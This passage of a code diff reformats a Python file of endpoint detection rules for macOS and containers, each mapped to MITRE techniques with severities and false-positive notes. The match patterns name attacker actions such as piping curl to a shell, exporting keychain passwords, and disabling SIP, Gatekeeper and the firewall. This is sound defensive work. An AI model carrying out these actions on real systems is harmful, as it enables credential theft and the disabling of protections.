- when={"event_type": "exec", "process_path_endswith": "/osascript", "argv_contains": "login items"},
- fp=["IT helpdesk onboarding script"], playbook="tpl-persistence"),
- S(slug="macos-plistbuddy-from-non-system", name="PlistBuddy Used By Non-System Process",
- severity="medium", mitre=["t1547"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/PlistBuddy", "responsible_signing_id_not_startswith": "com.apple."},
- fp=["Approved homebrew formula"], playbook="tpl-persistence"),
- S(slug="macos-emond-installed", name="Apple emond Rule Installed",
- severity="high", mitre=["t1546.014"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_contains": "/etc/emond.d/rules/"},
- fp=[FP_PATCH], playbook="tpl-persistence"),
- S(slug="macos-periodic-script-modified", name="/private/etc/periodic Script Modified",
- severity="medium", mitre=["t1037"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_contains": "/private/etc/periodic/"},
- fp=[FP_PATCH], playbook="tpl-persistence"),
- S(slug="macos-cron-tab-create", name="User crontab Created (Rare On macOS)",
- severity="medium", mitre=["t1053.003"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/crontab", "argv_contains": "-l"},
- fp=["Migration from Linux"], playbook="tpl-persistence"),
- S(slug="macos-ssh-authorized-keys-append", name="~/.ssh/authorized_keys Modified",
- severity="medium", mitre=["t1098.004"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "/.ssh/authorized_keys"},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="macos-mdm-enrollment-removed", name="MDM Enrollment Profile Removed",
- severity="high", mitre=["t1562.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/profiles", "argv_contains": "remove"},
- fp=["Approved decommission of asset"], playbook="tpl-defense-evasion"),
- S(slug="macos-config-profile-installed", name="Configuration Profile Installed",
- severity="medium", mitre=["t1078.003"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/profiles", "argv_contains": "install"},
- fp=["MDM rollout"], playbook="tpl-persistence"),
- S(slug="macos-com-apple-loginitems-modified", name="com.apple.loginitems Modified",
- severity="medium", mitre=["t1547.015"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "com.apple.backgroundtaskmanagement.plist"},
- fp=["Apple OS update"], playbook="tpl-persistence"),
- S(slug="macos-app-bundle-shared", name="Custom .app Bundle Written To /Users/Shared",
- severity="medium", mitre=["t1574.002"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_startswith": "/Users/Shared/", "path_endswith": ".app/Contents/MacOS/main"},
- fp=["Multi-user enterprise app"], playbook="tpl-persistence"),
-
+ S(
+ slug="macos-launchdaemon-write-system",
+ name="LaunchDaemon Plist Written To /Library/LaunchDaemons",
+ severity="high",
+ mitre=["t1543.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_contains": "/Library/LaunchDaemons/",
+ "creator_signing_id_not_in": ["com.apple.installer", "com.apple.softwareupdated"],
+ },
+ fp=["Vendor pkg install (allow-listed)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-launchagent-write-user",
+ name="User LaunchAgent Plist Created",
+ severity="medium",
+ mitre=["t1543.004"],
+ product="macos",
+ service="endpointsecurity",
+ when={
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_contains_any": ["/Users/", "/Library/LaunchAgents/"],
+ "path_endswith": ".plist",
+ },
+ fp=["IDE / sync utility installer"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-loginitem-add",
+ name="Login Item Added Via osascript",
+ severity="medium",
+ mitre=["t1547.015"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/osascript", "argv_contains": "login items"},
+ fp=["IT helpdesk onboarding script"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-plistbuddy-from-non-system",
+ name="PlistBuddy Used By Non-System Process",
+ severity="medium",
+ mitre=["t1547"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/PlistBuddy", "responsible_signing_id_not_startswith": "com.apple."},
+ fp=["Approved homebrew formula"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-emond-installed",
+ name="Apple emond Rule Installed",
+ severity="high",
+ mitre=["t1546.014"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_contains": "/etc/emond.d/rules/"},
+ fp=[FP_PATCH],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-periodic-script-modified",
+ name="/private/etc/periodic Script Modified",
+ severity="medium",
+ mitre=["t1037"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_contains": "/private/etc/periodic/"},
+ fp=[FP_PATCH],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-cron-tab-create",
+ name="User crontab Created (Rare On macOS)",
+ severity="medium",
+ mitre=["t1053.003"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/crontab", "argv_contains": "-l"},
+ fp=["Migration from Linux"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-ssh-authorized-keys-append",
+ name="~/.ssh/authorized_keys Modified",
+ severity="medium",
+ mitre=["t1098.004"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "/.ssh/authorized_keys"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-mdm-enrollment-removed",
+ name="MDM Enrollment Profile Removed",
+ severity="high",
+ mitre=["t1562.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/profiles", "argv_contains": "remove"},
+ fp=["Approved decommission of asset"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-config-profile-installed",
+ name="Configuration Profile Installed",
+ severity="medium",
+ mitre=["t1078.003"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/profiles", "argv_contains": "install"},
+ fp=["MDM rollout"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-com-apple-loginitems-modified",
+ name="com.apple.loginitems Modified",
+ severity="medium",
+ mitre=["t1547.015"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "com.apple.backgroundtaskmanagement.plist"},
+ fp=["Apple OS update"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-app-bundle-shared",
+ name="Custom .app Bundle Written To /Users/Shared",
+ severity="medium",
+ mitre=["t1574.002"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_startswith": "/Users/Shared/", "path_endswith": ".app/Contents/MacOS/main"},
+ fp=["Multi-user enterprise app"],
+ playbook="tpl-persistence",
+ ),
# ---- Defense evasion (10) ----
- S(slug="macos-spctl-master-disable", name="spctl --master-disable (Gatekeeper Off)",
- severity="high", mitre=["t1553.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/spctl", "argv_contains": "--master-disable"},
- fp=["Engineer running unsigned dev build (educate)"], playbook="tpl-defense-evasion"),
- S(slug="macos-csrutil-disable", name="csrutil disable (SIP Off)",
- severity="critical", mitre=["t1553"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/csrutil", "argv_contains": "disable"},
- fp=["Approved kernel-driver development workstation"], playbook="tpl-defense-evasion"),
- S(slug="macos-nvram-boot-args", name="nvram boot-args Modified",
- severity="critical", mitre=["t1542.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/nvram", "argv_contains": "boot-args="},
- fp=["Kernel driver development"], playbook="tpl-defense-evasion"),
- S(slug="macos-quarantine-attribute-removed", name="com.apple.quarantine xattr Stripped",
- severity="medium", mitre=["t1553.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/xattr", "argv_contains_all": ["-d", "com.apple.quarantine"]},
- fp=["Sanctioned dev workflow"], playbook="tpl-defense-evasion"),
- S(slug="macos-tcc-db-direct-write", name="TCC Database Modified Outside tccd",
- severity="high", mitre=["t1562.001"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "/Library/Application Support/com.apple.TCC/TCC.db"},
- fp=["Apple OS update"], playbook="tpl-defense-evasion"),
- S(slug="macos-kextload-unsigned", name="kextload Of Unsigned Kernel Extension",
- severity="critical", mitre=["t1547.006"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/kextload", "kext_signed": False},
- fp=["Approved hardware vendor (allow-listed)"], playbook="tpl-persistence"),
- S(slug="macos-xprotect-disabled", name="XProtect Updates Disabled",
- severity="high", mitre=["t1562.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/defaults", "argv_contains_all": ["com.apple.MRT", "DisableMRTShim"]},
- fp=[FP_PENTEST], playbook="tpl-defense-evasion"),
- S(slug="macos-firewall-disabled", name="Application Firewall Disabled",
- severity="medium", mitre=["t1562.004"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/socketfilterfw", "argv_contains_any": ["--setglobalstate off", "--setblockall off"]},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="macos-mas-receipt-tamper", name="App Store Receipt File Tampered",
- severity="medium", mitre=["t1562"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "_MASReceipt/receipt"},
- fp=["MAS app reinstall"], playbook="tpl-defense-evasion"),
- S(slug="macos-codesign-force-bypass", name="codesign --force --deep Used By User",
- severity="medium", mitre=["t1553.002"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/codesign", "argv_contains_all": ["--force", "--deep"]},
- fp=["Engineer signing personal build"], playbook="tpl-defense-evasion"),
-
+ S(
+ slug="macos-spctl-master-disable",
+ name="spctl --master-disable (Gatekeeper Off)",
+ severity="high",
+ mitre=["t1553.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/spctl", "argv_contains": "--master-disable"},
+ fp=["Engineer running unsigned dev build (educate)"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-csrutil-disable",
+ name="csrutil disable (SIP Off)",
+ severity="critical",
+ mitre=["t1553"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/csrutil", "argv_contains": "disable"},
+ fp=["Approved kernel-driver development workstation"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-nvram-boot-args",
+ name="nvram boot-args Modified",
+ severity="critical",
+ mitre=["t1542.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/nvram", "argv_contains": "boot-args="},
+ fp=["Kernel driver development"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-quarantine-attribute-removed",
+ name="com.apple.quarantine xattr Stripped",
+ severity="medium",
+ mitre=["t1553.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/xattr", "argv_contains_all": ["-d", "com.apple.quarantine"]},
+ fp=["Sanctioned dev workflow"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-tcc-db-direct-write",
+ name="TCC Database Modified Outside tccd",
+ severity="high",
+ mitre=["t1562.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "/Library/Application Support/com.apple.TCC/TCC.db"},
+ fp=["Apple OS update"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-kextload-unsigned",
+ name="kextload Of Unsigned Kernel Extension",
+ severity="critical",
+ mitre=["t1547.006"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/kextload", "kext_signed": False},
+ fp=["Approved hardware vendor (allow-listed)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-xprotect-disabled",
+ name="XProtect Updates Disabled",
+ severity="high",
+ mitre=["t1562.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/defaults", "argv_contains_all": ["com.apple.MRT", "DisableMRTShim"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-firewall-disabled",
+ name="Application Firewall Disabled",
+ severity="medium",
+ mitre=["t1562.004"],
+ product="macos",
+ service="endpointsecurity",
+ when={
+ "event_type": "exec",
+ "process_path_endswith": "/socketfilterfw",
+ "argv_contains_any": ["--setglobalstate off", "--setblockall off"],
+ },
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-mas-receipt-tamper",
+ name="App Store Receipt File Tampered",
+ severity="medium",
+ mitre=["t1562"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "_MASReceipt/receipt"},
+ fp=["MAS app reinstall"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-codesign-force-bypass",
+ name="codesign --force --deep Used By User",
+ severity="medium",
+ mitre=["t1553.002"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/codesign", "argv_contains_all": ["--force", "--deep"]},
+ fp=["Engineer signing personal build"],
+ playbook="tpl-defense-evasion",
+ ),
# ---- Credential / data access (8) ----
- S(slug="macos-security-export-keychain", name="security export Used Against Login Keychain",
- severity="high", mitre=["t1555.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/security", "argv_contains": "export"},
- fp=[FP_FORENSIC], playbook="tpl-credential-access"),
- S(slug="macos-security-find-generic-password", name="security find-generic-password Used",
- severity="medium", mitre=["t1555.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/security", "argv_contains": "find-generic-password"},
- fp=["Sanctioned helper tool"], playbook="tpl-credential-access"),
- S(slug="macos-keychain-db-read-by-other-uid", name="login.keychain-db Read By Non-Owner UID",
- severity="high", mitre=["t1555.001"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_OPEN", "path_endswith": "/Keychains/login.keychain-db", "actor_uid_neq_owner_uid": True},
- fp=[FP_FORENSIC], playbook="tpl-credential-access"),
- S(slug="macos-screencapture-binary", name="screencapture Binary Used",
- severity="low", mitre=["t1113"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/screencapture"},
- fp=["User-driven screenshot (very common)"], playbook="tpl-collection"),
- S(slug="macos-osascript-keychain-access", name="osascript Used To Read Keychain",
- severity="high", mitre=["t1555.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/osascript", "argv_contains_any": ["security 2>&1", "find-generic-password"]},
- fp=[FP_AUTOMATION], playbook="tpl-credential-access"),
- S(slug="macos-defaults-com-apple-loginwindow", name="defaults Wrote To com.apple.loginwindow",
- severity="medium", mitre=["t1547.005"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/defaults", "argv_contains_all": ["write", "com.apple.loginwindow"]},
- fp=["MDM rollout"], playbook="tpl-persistence"),
- S(slug="macos-icloud-keychain-toggle", name="iCloud Keychain Sync Toggled Off",
- severity="medium", mitre=["t1562"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/defaults", "argv_contains_all": ["com.apple.security", "AccountSettings", "Keychain"]},
- fp=["Privacy compliance preference"], playbook="tpl-defense-evasion"),
- S(slug="macos-systemextension-load-non-apple", name="SystemExtension Loaded From Non-Apple Bundle",
- severity="high", mitre=["t1547.006"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/systemextensionsctl", "argv_contains": "install"},
- fp=["Approved security vendor agent"], playbook="tpl-persistence"),
-
+ S(
+ slug="macos-security-export-keychain",
+ name="security export Used Against Login Keychain",
+ severity="high",
+ mitre=["t1555.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/security", "argv_contains": "export"},
+ fp=[FP_FORENSIC],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="macos-security-find-generic-password",
+ name="security find-generic-password Used",
+ severity="medium",
+ mitre=["t1555.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/security", "argv_contains": "find-generic-password"},
+ fp=["Sanctioned helper tool"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="macos-keychain-db-read-by-other-uid",
+ name="login.keychain-db Read By Non-Owner UID",
+ severity="high",
+ mitre=["t1555.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "ES_EVENT_TYPE_NOTIFY_OPEN", "path_endswith": "/Keychains/login.keychain-db", "actor_uid_neq_owner_uid": True},
+ fp=[FP_FORENSIC],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="macos-screencapture-binary",
+ name="screencapture Binary Used",
+ severity="low",
+ mitre=["t1113"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/screencapture"},
+ fp=["User-driven screenshot (very common)"],
+ playbook="tpl-collection",
+ ),
+ S(
+ slug="macos-osascript-keychain-access",
+ name="osascript Used To Read Keychain",
+ severity="high",
+ mitre=["t1555.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/osascript", "argv_contains_any": ["security 2>&1", "find-generic-password"]},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="macos-defaults-com-apple-loginwindow",
+ name="defaults Wrote To com.apple.loginwindow",
+ severity="medium",
+ mitre=["t1547.005"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/defaults", "argv_contains_all": ["write", "com.apple.loginwindow"]},
+ fp=["MDM rollout"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-icloud-keychain-toggle",
+ name="iCloud Keychain Sync Toggled Off",
+ severity="medium",
+ mitre=["t1562"],
+ product="macos",
+ service="endpointsecurity",
+ when={
+ "event_type": "exec",
+ "process_path_endswith": "/defaults",
+ "argv_contains_all": ["com.apple.security", "AccountSettings", "Keychain"],
+ },
+ fp=["Privacy compliance preference"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-systemextension-load-non-apple",
+ name="SystemExtension Loaded From Non-Apple Bundle",
+ severity="high",
+ mitre=["t1547.006"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/systemextensionsctl", "argv_contains": "install"},
+ fp=["Approved security vendor agent"],
+ playbook="tpl-persistence",
+ ),
# ---- Execution / loaders (10) ----
- S(slug="macos-osascript-do-shell-script", name="osascript do shell script with administrator privileges",
- severity="high", mitre=["t1059.002", "t1548.004"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/osascript", "argv_contains": "do shell script"},
- fp=[FP_AUTOMATION], playbook="tpl-execution"),
- S(slug="macos-launchctl-load-from-tmp", name="launchctl Loading Plist From /tmp",
- severity="high", mitre=["t1543.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/launchctl", "argv_contains_any": ["/tmp/", "/private/tmp/"]},
- fp=["Test workflow on dev machine"], playbook="tpl-persistence"),
- S(slug="macos-curl-pipe-shell", name="curl Output Piped To Shell",
- severity="medium", mitre=["t1105"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/sh", "argv_contains_any": ["curl | sh", "curl | bash"]},
- fp=["Sanctioned install scripts"], playbook="tpl-execution"),
- S(slug="macos-dyld-insert-libraries", name="DYLD_INSERT_LIBRARIES Set To /tmp Or User Path",
- severity="high", mitre=["t1574.006"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "env_dyld_insert_libraries_startswith_any": ["/tmp/", "/Users/"]},
- fp=["Sanctioned dev workflow"], playbook="tpl-defense-evasion"),
- S(slug="macos-dock-modified", name="com.apple.dock Modified By Non-System Process",
- severity="low", mitre=["t1547.005"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "/Preferences/com.apple.dock.plist"},
- fp=["MDM workflow"], playbook="tpl-persistence"),
- S(slug="macos-systemsetup-remote-login", name="systemsetup Enabled Remote Login (SSH)",
- severity="medium", mitre=["t1021.004"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/systemsetup", "argv_contains_all": ["-setremotelogin", "on"]},
- fp=["IT remote support"], playbook="tpl-lateral-movement"),
- S(slug="macos-hyperkit-launch-untrusted", name="hyperkit Launched From Non-Standard Path",
- severity="medium", mitre=["t1610"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_contains": "/hyperkit", "process_path_not_startswith_any": ["/Applications/", "/usr/local/bin/"]},
- fp=["Custom virtualisation tooling"], playbook="tpl-execution"),
- S(slug="macos-binary-from-shared", name="Mach-O Binary Executed From /Users/Shared",
- severity="medium", mitre=["t1059.004"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_startswith": "/Users/Shared/"},
- fp=["Multi-user enterprise tool"], playbook="tpl-execution"),
- S(slug="macos-tccutil-reset-all", name="tccutil reset All Subsystems",
- severity="medium", mitre=["t1562.001"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/tccutil", "argv_contains_all": ["reset", "All"]},
- fp=["Privacy reset workflow"], playbook="tpl-defense-evasion"),
- S(slug="macos-find-iphone-disabled", name="Find My Mac Disabled",
- severity="medium", mitre=["t1562"], product="macos", service="endpointsecurity",
- when={"event_type": "exec", "process_path_endswith": "/defaults", "argv_contains_all": ["com.apple.icloud", "FindMyMacEnabled", "0"]},
- fp=["Asset offboarding"], playbook="tpl-defense-evasion"),
+ S(
+ slug="macos-osascript-do-shell-script",
+ name="osascript do shell script with administrator privileges",
+ severity="high",
+ mitre=["t1059.002", "t1548.004"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/osascript", "argv_contains": "do shell script"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="macos-launchctl-load-from-tmp",
+ name="launchctl Loading Plist From /tmp",
+ severity="high",
+ mitre=["t1543.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/launchctl", "argv_contains_any": ["/tmp/", "/private/tmp/"]},
+ fp=["Test workflow on dev machine"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-curl-pipe-shell",
+ name="curl Output Piped To Shell",
+ severity="medium",
+ mitre=["t1105"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/sh", "argv_contains_any": ["curl | sh", "curl | bash"]},
+ fp=["Sanctioned install scripts"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="macos-dyld-insert-libraries",
+ name="DYLD_INSERT_LIBRARIES Set To /tmp Or User Path",
+ severity="high",
+ mitre=["t1574.006"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "env_dyld_insert_libraries_startswith_any": ["/tmp/", "/Users/"]},
+ fp=["Sanctioned dev workflow"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-dock-modified",
+ name="com.apple.dock Modified By Non-System Process",
+ severity="low",
+ mitre=["t1547.005"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_endswith": "/Preferences/com.apple.dock.plist"},
+ fp=["MDM workflow"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="macos-systemsetup-remote-login",
+ name="systemsetup Enabled Remote Login (SSH)",
+ severity="medium",
+ mitre=["t1021.004"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/systemsetup", "argv_contains_all": ["-setremotelogin", "on"]},
+ fp=["IT remote support"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="macos-hyperkit-launch-untrusted",
+ name="hyperkit Launched From Non-Standard Path",
+ severity="medium",
+ mitre=["t1610"],
+ product="macos",
+ service="endpointsecurity",
+ when={
+ "event_type": "exec",
+ "process_path_contains": "/hyperkit",
+ "process_path_not_startswith_any": ["/Applications/", "/usr/local/bin/"],
+ },
+ fp=["Custom virtualisation tooling"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="macos-binary-from-shared",
+ name="Mach-O Binary Executed From /Users/Shared",
+ severity="medium",
+ mitre=["t1059.004"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_startswith": "/Users/Shared/"},
+ fp=["Multi-user enterprise tool"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="macos-tccutil-reset-all",
+ name="tccutil reset All Subsystems",
+ severity="medium",
+ mitre=["t1562.001"],
+ product="macos",
+ service="endpointsecurity",
+ when={"event_type": "exec", "process_path_endswith": "/tccutil", "argv_contains_all": ["reset", "All"]},
+ fp=["Privacy reset workflow"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="macos-find-iphone-disabled",
+ name="Find My Mac Disabled",
+ severity="medium",
+ mitre=["t1562"],
+ product="macos",
+ service="endpointsecurity",
+ when={
+ "event_type": "exec",
+ "process_path_endswith": "/defaults",
+ "argv_contains_all": ["com.apple.icloud", "FindMyMacEnabled", "0"],
+ },
+ fp=["Asset offboarding"],
+ playbook="tpl-defense-evasion",
+ ),
]
@@ -840,106 +2265,281 @@ MACOS_RULES: list[dict] = [
# Container / Kubernetes host (25 rules)
# ---------------------------------------------------------------------------
CONTAINER_RULES: list[dict] = [
- S(slug="container-docker-tcp-listening", name="Docker Daemon Listening On TCP Socket",
- severity="critical", mitre=["t1610"], product="docker", service="dockerd",
- when={"event_type": "daemon_listening", "address_contains": "tcp://0.0.0.0"},
- fp=["Approved CI runner pattern (must require mTLS)"], playbook="tpl-privilege-escalation"),
- S(slug="container-image-from-public-registry", name="Production Container Pulled From Public Registry",
- severity="medium", mitre=["t1525"], product="docker", service="dockerd",
- when={"event_type": "image_pull", "image_registry_in": ["docker.io", "ghcr.io"], "environment": "prod"},
- fp=[FP_AUTOMATION], playbook="tpl-supply-chain"),
- S(slug="container-image-tag-latest-prod", name="Container Pulled With :latest Tag In Production",
- severity="medium", mitre=["t1525"], product="docker", service="dockerd",
- when={"event_type": "image_pull", "image_tag": "latest", "environment": "prod"},
- fp=[FP_AUTOMATION], playbook="tpl-supply-chain"),
- S(slug="container-running-as-root-prod", name="Container Started As UID 0 In Production",
- severity="medium", mitre=["t1611"], product="docker", service="dockerd",
- when={"event_type": "container_start", "user_uid": 0, "environment": "prod"},
- fp=["Approved root-required workload (allow-listed)"], playbook="tpl-privilege-escalation"),
- S(slug="container-hostpath-mount-root", name="Container Mounted Host Root Filesystem",
- severity="critical", mitre=["t1611"], product="docker", service="dockerd",
- when={"event_type": "container_create", "host_mount_path": "/"},
- fp=["Sanctioned node-agent (allow-listed)"], playbook="tpl-privilege-escalation"),
- S(slug="container-mount-etc", name="Container Mounted /etc From Host",
- severity="high", mitre=["t1611"], product="docker", service="dockerd",
- when={"event_type": "container_create", "host_mount_path_contains": "/etc"},
- fp=["Configuration injection pattern"], playbook="tpl-privilege-escalation"),
- S(slug="container-readonly-fs-disabled", name="Container Created With ReadOnlyRootFilesystem False",
- severity="low", mitre=["t1611"], product="docker", service="dockerd",
- when={"event_type": "container_create", "readonly_root_fs": False, "environment": "prod"},
- fp=["Workload requires writable rootfs (allow-listed)"], playbook="tpl-defense-evasion"),
- S(slug="container-build-on-host", name="docker build Run On Production Host",
- severity="medium", mitre=["t1612"], product="docker", service="dockerd",
- when={"event_type": "image_build", "host_role": "production"},
- fp=["Documented bake host"], playbook="tpl-execution"),
- S(slug="container-dind-detected", name="Docker-In-Docker Pattern Detected",
- severity="medium", mitre=["t1611"], product="docker", service="dockerd",
- when={"event_type": "container_create", "image_name_contains": "docker:dind"},
- fp=["Sanctioned CI runner"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-pod-hostnetwork-true", name="Pod Created With hostNetwork: true",
- severity="high", mitre=["t1611"], product="kubernetes", service="audit",
- when={"event_type": "create_pod", "host_network": True},
- fp=["Sanctioned CNI plugin"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-pod-hostpid-true", name="Pod Created With hostPID: true",
- severity="high", mitre=["t1611"], product="kubernetes", service="audit",
- when={"event_type": "create_pod", "host_pid": True},
- fp=["Sanctioned monitoring agent"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-pod-hostipc-true", name="Pod Created With hostIPC: true",
- severity="medium", mitre=["t1611"], product="kubernetes", service="audit",
- when={"event_type": "create_pod", "host_ipc": True},
- fp=["Specialised workload"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-pod-privileged", name="Pod Created With privileged Security Context",
- severity="critical", mitre=["t1611"], product="kubernetes", service="audit",
